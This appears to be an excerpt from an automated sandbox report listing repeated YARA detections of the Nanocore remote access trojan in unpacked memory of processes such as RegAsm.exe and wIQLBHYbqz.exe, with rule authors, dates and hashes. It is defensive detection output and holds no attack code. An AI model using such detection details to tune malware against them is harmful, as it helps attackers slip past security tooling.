        Source: 13.2.RegAsm.exe.5b70000.6.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.5b70000.6.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 13.2.RegAsm.exe.5b74629.7.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.5b74629.7.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 22.2.RegAsm.exe.40d2a4d.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 22.2.RegAsm.exe.40d2a4d.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 22.2.RegAsm.exe.40ce424.4.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 22.2.RegAsm.exe.40ce424.4.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 13.2.RegAsm.exe.5b70000.6.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.5b70000.6.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 22.2.RegAsm.exe.40ce424.4.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 22.2.RegAsm.exe.40ce424.4.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 13.2.RegAsm.exe.424e424.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.424e424.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 13.2.RegAsm.exe.424e424.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
